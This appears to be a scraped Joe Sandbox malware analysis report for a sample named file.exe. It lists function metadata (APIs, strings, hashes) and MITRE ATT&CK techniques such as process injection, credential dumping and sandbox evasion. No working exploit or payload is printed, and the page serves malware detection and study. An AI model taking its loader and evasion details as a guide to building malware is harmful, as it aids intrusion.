Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: Value
String ID: EncodePointer$KERNEL32.DLL
API String ID: 3702945584-3682587211
Opcode ID: 84611088a89a46d8e8038d73621ebc3bedfb5a302d2b57c8785584958055e593
Instruction ID: 0a4e912aeb79b15c12921546f673533cd4f3f92938ea78c2ffe4ce16362375da
Opcode Fuzzy Hash: 84611088a89a46d8e8038d73621ebc3bedfb5a302d2b57c8785584958055e593
Instruction Fuzzy Hash: E601F275500296BBDB15EBB9EC01AAB3FBC6F013A57080520FE08DB0A3EB31DE058690

Uniqueness

Uniqueness Score: -1.00%

Function 00A5EDDB Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,00A5EEA0,00000005,00A5F366), ref: 00A5EDED
TlsGetValue.KERNEL32(00000005), ref: 00A5EE04

Strings

KERNEL32.DLL, xrefs: 00A5EE14, 00A5EE19, 00A5EE24
DecodePointer, xrefs: 00A5EE2F

Memory Dump Source

Source File: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: Value
String ID: DecodePointer$KERNEL32.DLL
API String ID: 3702945584-629428536
Opcode ID: 2f3b63074f439691f3d4e77a2df1667da77ce5a84c5d1e8381ff375886e239a3
Instruction ID: ac8aaa692c888eaf2fed6aba76e49db6b695340c31834619e368789d8247052d
Opcode Fuzzy Hash: 2f3b63074f439691f3d4e77a2df1667da77ce5a84c5d1e8381ff375886e239a3
Instruction Fuzzy Hash: 4BF06D31110556BE8F19EB79EC029EB3BECAF413A17184130FC08E72A1DB74DE5686A1

Uniqueness

Uniqueness Score: -1.00%

Function 008C6180 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 353COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 008C6587

Strings

", ", xrefs: 008C63D8
: ", xrefs: 008C63AE

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: ", "$: "
API String ID: 4194217158-747220369
Opcode ID: 873b84db0904b56eb3640991299de87fbb88eb860f034cab0704b7fe252718c7
Instruction ID: 9cbfd2651533d3978f3cb3d30b2d0bf8ed65f3fe1bc26dbf3c8991dcc1ce0723
Opcode Fuzzy Hash: 873b84db0904b56eb3640991299de87fbb88eb860f034cab0704b7fe252718c7
Instruction Fuzzy Hash: 9AD18D70E00209DFCB24DFA8D845BAEBBB5FF44310F20462DE465D7381EB74AA558B96

Uniqueness

Uniqueness Score: -1.00%

Function 009A6470 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 179libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,B83201E1), ref: 009A6660
GetProcAddress.KERNEL32(00000000,B8320201), ref: 009A6782

Strings

v<Ea, xrefs: 009A6742

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: AddressProc
String ID: v<Ea
API String ID: 190572456-4124759590
Opcode ID: 26cbd8625d29f72f1b5864613e8f337ef633e58e01a5589e07c39fe43a5f1a23
Instruction ID: c91b72aa43ce777087fbe50f34e663ebeaa1dd1ddbde52307371c03d88598b1d
Opcode Fuzzy Hash: 26cbd8625d29f72f1b5864613e8f337ef633e58e01a5589e07c39fe43a5f1a23
Instruction Fuzzy Hash: 0DA17DB4D0525E8BDB55CF98D982AEEBBB4FF08350F208159DA19B7350D7702A80CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 008C7350 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 008C750C
___std_exception_destroy.LIBVCRUNTIME ref: 008C7522

Strings

[json.exception., xrefs: 008C73A1

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: [json.exception.
API String ID: 4194217158-791563284
Opcode ID: ffdba414fae7f44415569a98560d4b1b89fef7eda5ca96cd41365b36a30c9fb9
Instruction ID: 73828bc6c86813776b75aea985d5580b1aab1c561b24bf31e8aa30d594c4aec1
Opcode Fuzzy Hash: ffdba414fae7f44415569a98560d4b1b89fef7eda5ca96cd41365b36a30c9fb9
Instruction Fuzzy Hash: 1D51D370C056489FD704DFA8C905B9EBBB4FF11314F14426DE851A73C2E7B59A44CB92

Uniqueness

Uniqueness Score: -1.00%

Function 008C47F0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 153COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 008C499F

Strings

ios_base::failbit set, xrefs: 008C4828
ios_base::badbit set, xrefs: 008C4937, 008C4962

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: ios_base::badbit set$ios_base::failbit set
API String ID: 323602529-1240500531
Opcode ID: 5a997a3d4f217cd6cd739c4e9b05f5e3ee7cdca9a6732f9003cc62d2979dffcd
Instruction ID: 71c9294a9416553c565fb0ffec62eae8ed9ed7c2598f0ace217040e13f873e20
Opcode Fuzzy Hash: 5a997a3d4f217cd6cd739c4e9b05f5e3ee7cdca9a6732f9003cc62d2979dffcd
Instruction Fuzzy Hash: AB4125B1D00648AFCB14DF68CC55BAEBBB8FB05710F14822DF554A72C2D775AA44CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 008C4040 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 008C4061
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 008C40C4

Strings

bad locale name, xrefs: 008C40E6

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: 60af8fe7524c2f2920d8b34775adc61fec7b916f2d8b713b0391fbe38d319697
Instruction ID: ee6938d5df504c67c0ba03d49281998b682a5c94fc3d79c6b7dd3f0f4f000c5b
Opcode Fuzzy Hash: 60af8fe7524c2f2920d8b34775adc61fec7b916f2d8b713b0391fbe38d319697
Instruction Fuzzy Hash: EB11B170805B84EED721CF68C50474BBFF4EF15714F148A9DD09597B82D3B5AA04C792

Uniqueness

Uniqueness Score: -1.00%

Function 00903623 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0090366A

Strings

mscoree.dll, xrefs: 00903651
CorExitProcess, xrefs: 00903662

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: AddressProc
String ID: CorExitProcess$mscoree.dll
API String ID: 190572456-1276376045
Opcode ID: e84ce178cd2557622ad887d083fcd5658b4355eb4f8177d6e0849dc44215dbc5
Instruction ID: e9144ef5b7bf7dd72b11e8691b1048286e529417f766b12a52a2fb149d85d563
Opcode Fuzzy Hash: e84ce178cd2557622ad887d083fcd5658b4355eb4f8177d6e0849dc44215dbc5
Instruction Fuzzy Hash: 2601A236950629BFCB119B94DC06FAEB7BDFB44B24F108A25B811A26D0DB759E00CA50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dD08ulq4N33OmW5HQdwT.exePID: 5804, Parent PID: 6460COMMON

Execution Graph

Execution Coverage:	34%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	19
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0040281D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00402814), ref: 0040281D
GetModuleHandleA.KERNEL32(?,00000078,00000004), ref: 0040286F
GetProcAddress.KERNEL32(00000000,00000000), ref: 00402897

Part of subcall function 0040283A: GetProcAddress.KERNEL32(00000000,0040282B), ref: 0040283B
Part of subcall function 0040283A: VirtualProtect.KERNELBASE(?,00000078,00000004), ref: 0040284D
Part of subcall function 0040283A: VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000078,00000004), ref: 00402861

Strings

VT, xrefs: 0040286E

Memory Dump Source

Source File: 00000007.00000002.2188753837.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2188725610.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2188779415.0000000000403000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2188809271.0000000000404000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2188872849.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2189076815.00000000005B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2189410637.0000000000A42000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2189410637.0000000000B5D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2189548086.0000000000B78000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2189570212.0000000000B79000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dD08ulq4N33OmW5HQdwT.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID: VT
API String ID: 2099061454-201482285
Opcode ID: 67b18f5d566e174719e6f505a4aa4f5f8e431714fa33c3de3599349bc2f53b7f
Instruction ID: f0c839e057809c1efc340711d894999912a39097a74a7b2f28aa4e3cf016983c
Opcode Fuzzy Hash: 67b18f5d566e174719e6f505a4aa4f5f8e431714fa33c3de3599349bc2f53b7f
Instruction Fuzzy Hash: A6012B0B55525139EA2476750E0E9BB5B889E23364B18CB7BF000F62D3D9FC8906837D

Uniqueness

Uniqueness Score: -1.00%

Function 0040283A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,0040282B), ref: 0040283B
VirtualProtect.KERNELBASE(?,00000078,00000004), ref: 0040284D
VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000078,00000004), ref: 00402861
GetModuleHandleA.KERNEL32(?,00000078,00000004), ref: 0040286F
GetProcAddress.KERNEL32(00000000,00000000), ref: 00402897

Strings

VT, xrefs: 0040286E

Memory Dump Source

Source File: 00000007.00000002.2188753837.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2188725610.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2188779415.0000000000403000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2188809271.0000000000404000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2188872849.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2189076815.00000000005B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2189410637.0000000000A42000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2189410637.0000000000B5D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2189548086.0000000000B78000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2189570212.0000000000B79000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_dD08ulq4N33OmW5HQdwT.jbxd

Yara matches

Similarity

API ID: AddressProcProtectVirtual$HandleModule
String ID: VT
API String ID: 2152742572-201482285
Opcode ID: b89d393753f96de86a2c896a51a5260cbabf9c56692d2ba4910448734dec975b
Instruction ID: d34c94931a7f052c938c3d91e02af59f00928117d923f9180033120dde70a02b
Opcode Fuzzy Hash: b89d393753f96de86a2c896a51a5260cbabf9c56692d2ba4910448734dec975b
Instruction Fuzzy Hash: 37F0A44B54565139FA2176750D4DABB4B8C8A23760B248B77F010F72C3D5FD890A93BA

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

